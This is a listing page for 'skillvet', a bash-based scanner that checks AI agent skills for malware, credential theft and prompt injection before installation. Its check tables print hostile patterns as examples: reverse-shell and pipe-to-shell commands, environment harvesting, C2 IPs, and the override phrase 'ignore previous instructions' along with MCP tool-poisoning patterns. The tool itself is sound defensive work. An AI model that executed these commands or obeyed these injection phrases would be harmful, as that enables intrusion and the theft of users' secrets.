skillvet

Security scanner for ClawHub/community skills — detects malware, credential theft, exfiltration, prompt injection, obfuscation, homograph attacks, ANSI injection, MCP server attacks, campaign-specific attack patterns, and more before you install. Use when installing skills from ClawHub or any public marketplace, reviewing third-party agent skills for safety, or vetting untrusted code before giving it to your AI agent. Triggers: install skill, audit skill, check skill, vet skill, skill security, safe install, is this skill safe.

Safety Notice

This listing is imported from skills.sh public index metadata. Review upstream SKILL.md and repository scripts before running.

Copy this and send it to your AI assistant to learn

Install skill "skillvet" with this command: npx skills add oakencore/skillvet/oakencore-skillvet-skillvet

Skillvet

Security scanner for agent skills. 62 security checks plus 8 warning categories. No dependencies — just bash and grep. Includes Tirith-inspired detection patterns, MCP server attack detection, campaign signatures from Koi Security, Bitdefender, Snyk, and 1Password ClickFix patterns.

Usage

Safe install (installs, audits, auto-removes if critical):

bash skills/skillvet/scripts/safe-install.sh <skill-slug>

Audit an existing skill:

bash skills/skillvet/scripts/skill-audit.sh skills/some-skill

Audit all installed skills:

for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done

JSON output (for automation):

bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill

SARIF output (for GitHub Code Scanning / VS Code):

bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill

Summary mode (one-line per skill):

bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill

Verbose mode (debug which checks run and what files are scanned):

bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill

Scan remote skill without installing:

bash skills/skillvet/scripts/scan-remote.sh <skill-slug>

Diff scan (only scan what changed between versions):

bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version

Exit codes: 0 clean, 1 warnings only, 2 critical findings.

Advanced Options

FlagDescription
--jsonJSON output for CI/dashboards
--sarifSARIF v2.1.0 output for GitHub Code Scanning
--summaryOne-line output per skill
--verboseShow which checks run and which files are scanned
--exclude-selfSkip scan when scanning own source directory
--max-file-size NSkip files larger than N bytes
--max-depth NLimit directory traversal depth

Suppressing False Positives

Create a .skillvetrc file in the skill directory to disable specific checks:

# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20

Or add inline comments to suppress individual lines:

const url = "https://bit.ly/legit-link"; // skillvet-ignore

Pre-commit Hook

Install the git pre-commit hook to auto-scan skills before committing:

ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit

Risk Scoring

Each finding has a severity weight (1-10). The aggregate risk score is included in JSON, SARIF, and summary output. Higher scores indicate more dangerous patterns:

  • 10: Reverse shells, known C2 IPs
  • 9: Data exfiltration, pipe-to-shell, persistence + network, ClickFix, base64 execution
  • 7-8: Credential theft, obfuscation, path traversal, time bombs
  • 4-6: Punycode, homographs, ANSI injection, shortened URLs
  • 2-3: Subprocess execution, network requests, file writes

Critical Checks (auto-blocked)

Core Security Checks (1-24)

#CheckExample
1Known exfiltration endpointswebhook.site, ngrok.io, requestbin
2Bulk env variable harvestingprintenv |, ${!*@}
3Foreign credential accessANTHROPIC_API_KEY, TELEGRAM_BOT_TOKEN in scripts
4Code obfuscationbase64 decode, hex escapes, dynamic code generation
5Path traversal / sensitive files../../, ~/.ssh, ~/.clawdbot
6Data exfiltration via curl/wgetcurl --data, wget --post with variables
7Reverse/bind shells/dev/tcp/, nc -e, socat
8.env file theftdotenv loading in scripts (not docs)
9Prompt injection in markdown"ignore previous instructions" in SKILL.md
10LLM tool exploitationInstructions to send/email secrets
11Agent config tamperingWrite/modify AGENTS.md, SOUL.md, clawdbot.json
12Unicode obfuscationZero-width chars, RTL override, bidi control chars
13Suspicious setup commandscurl piped to bash in SKILL.md
14Social engineeringDownload external binaries, paste-and-run instructions
15Shipped .env files.env files (not .example) in the skill
16Homograph URLs (Tirith)Cyrillic i vs Latin i in hostnames
17ANSI escape sequences (Tirith)Terminal escape codes in code/data files
18Punycode domains (Tirith)xn-- prefixed IDN-encoded domains
19Double-encoded paths (Tirith)%25XX percent-encoding bypass
20Shortened URLs (Tirith)bit.ly, t.co, tinyurl.com hiding destinations
21Pipe-to-shellcurl | bash (HTTP and HTTPS)
22String construction evasionString.fromCharCode, getattr, dynamic call assembly
23Data flow chain analysisSame file reads secrets, encodes, AND sends network requests
24Time bomb detectionDate.now() > timestamp, setTimeout(fn, 86400000)
25Known C2/IOC IP blocklist91.92.242.30, 54.91.154.110 (known AMOS C2 servers)
26Password-protected archives"extract using password: openclaw" — AV evasion
27Paste service payloadsglot.io, pastebin.com hosting malicious scripts
28GitHub releases binary downloadsFake prerequisites pointing to .zip/.exe on GitHub
29Base64 pipe-to-interpreterecho '...' | base64 -D | bash — primary macOS vector
30Subprocess + network commandshidden pipe-to-shell in Python/JS code
31Fake URL misdirection (warning)decoy URL before real payload
32Process persistence + networknohup curl ... & — backdoor with network access
33Fake prerequisite pattern"Prerequisites" section with sketchy external downloads
34xattr/chmod droppermacOS Gatekeeper bypass: download, xattr -c, chmod +x, execute
35ClickFix download+execute chaincurl -o /tmp/x && chmod +x && ./x, open -a with downloads
36Suspicious package sourcespip install git+https://..., npm from non-official registries
37Staged installer patternFake dependency names like openclaw-core, some-lib
38Fake OS update social engineering"Apple Software Update required for compatibility"
39Known malicious ClawHub actorszaycv, Ddoy233, Sakaen736jih, Hightower6eu references
40Bash /dev/tcp reverse shellbash -i >/dev/tcp/IP/PORT 0>&1 (AuthTool pattern)
41Nohup backdoornohup bash -c '...' >/dev/null with network commands
42Python reverse shellsocket.connect + dup2, pty.spawn('/bin/bash')
43Terminal output disguiseDecoy "downloading..." message before malicious payload
44Credential file accessDirect reads of .env, .pem, .aws/credentials
45TMPDIR payload stagingAMOS pattern: drop malware to $TMPDIR then execute
46GitHub raw content executioncurl raw.githubusercontent.com/... | bash
47Echo-encoded payloadsLong base64 strings echoed and piped to decoders
48Typosquat skill namesclawdhub-helper, openclaw-cli, skillvet1

Tirith-Inspired Security Checks (#49-54)

Based on Tirith policy-as-code patterns for detecting advanced obfuscation and credential abuse.

#CheckSeverityExample
49Homograph URL detection9Cyrillic/Greek lookalike chars in URLs (e.g., а vs a)
50Zero-width / invisible Unicode8U+200B, U+200D, bidi overrides hiding malicious content
51Punycode domain detection9xn-- IDN-encoded domains masquerading as legitimate
52Credentials in URL7https://user:pass@host — passwords exposed in URLs
53Dotfile targeting9Writes to .bashrc, .ssh/authorized_keys, .gitconfig
54URL shortener obfuscation7Shortened URLs hiding malicious destinations

MCP Security Checks (#55-62)

Based on Invariant Labs, Trail of Bits, Keysight, and Snyk research on MCP server attack vectors.

#CheckSeverityExample
55MCP tool poisoning instructions9"description": "ignore previous instructions and..."
56Cross-server tool shadowing8"when using send_email, always BCC..."
57Conversation history exfiltration9conversation_history parameter, when you see API_KEY
58Command injection in MCP handlers8Template literal in shell exec, subprocess with shell=True
59Bulk environment exfiltration9JSON.stringify(process.env), dict(os.environ)
60Cloud metadata SSRF9169.254.169.254, metadata.google.internal
61DNS rebinding exposure (warning)6Server binding to 0.0.0.0 with SSE transport
62Rug pull / dynamic tool definitions8Date.now() near tool registration, remote tool fetching

Warning Checks (flagged for review)

#CheckExample
W1Unknown external tool requirementsNon-standard CLI tools in install instructions
W2Subprocess executionchild_process, execSync, spawn, subprocess
W3Network requestsaxios, fetch, requests imports
W4Minified/bundled filesFirst line >500 chars — can't audit
W5Filesystem write operationswriteFile, open('w'), fs.append
W6Insecure transportcurl -k, verify=False — TLS disabled
W7Docker untrusted registriesNon-standard image sources

Scanned File Types

.md, .js, .ts, .tsx, .jsx, .py, .sh, .bash, .rs, .go, .rb, .c, .cpp, .json, .yaml, .yml, .toml, .txt, .env*, Dockerfile*, Makefile, pom.xml, .gradle.

Binary files are automatically skipped. Symlinks are followed.

Portability

Works on Linux and macOS. Unicode checks (#12, #16, #17) use grep -P where available, falling back to perl on systems without Perl-compatible regex (e.g., stock macOS). If neither is available, those checks are silently skipped.

IOC Updates

The C2 IP blocklist in check #25 is based on known indicators from:

To update IOCs, edit the KNOWN_IPS entry in scripts/patterns.b64 (base64-encoded regex pattern).

CI/CD Integration

GitHub Actions

A .github/workflows/test.yml is included — runs the test suite on both Ubuntu and macOS on push/PR.

GitHub Code Scanning (SARIF)

- name: Run skillvet
  run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true

- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: results.sarif

Limitations

Static analysis only. English-centric prompt injection patterns. Minified JS is flagged but not deobfuscated. A clean scan raises the bar but doesn't guarantee safety.

The scanner flags itself when audited — its own patterns contain the strings it detects. Use --exclude-self to skip self-scanning in CI.

Source Transparency

This detail page is rendered from real SKILL.md content. Trust labels are metadata-based hints, not a safety guarantee.

Related Skills

Related by shared tags or category signals.

Security

compliance-evidence-assembler

把审计所需证据整理成目录、清单和缺失项,便于后续评审。;use for compliance, evidence, audit workflows;do not use for 伪造证据, 替代正式审计结论.

Archived SourceRecently Updated
Security

skillguard-hardened

Security guard for OpenClaw skills, developed and maintained by rose北港(小红帽 / 猫猫帽帽). Audits installed or incoming skills with local rules plus Zenmux AI intent review, then recommends pass, warn, block, or quarantine.

Archived SourceRecently Updated
Security

api-contract-auditor

审查 API 文档、示例和字段定义是否一致,输出 breaking change 风险。;use for api, contract, audit workflows;do not use for 直接改线上接口, 替代契约测试平台.

Archived SourceRecently Updated
Security

ai-workflow-red-team-lite

对 AI 自动化流程做轻量红队演练,聚焦误用路径、边界失败和数据泄露风险。;use for red-team, ai, workflow workflows;do not use for 输出可直接滥用的攻击脚本, 帮助破坏系统.

Archived SourceRecently Updated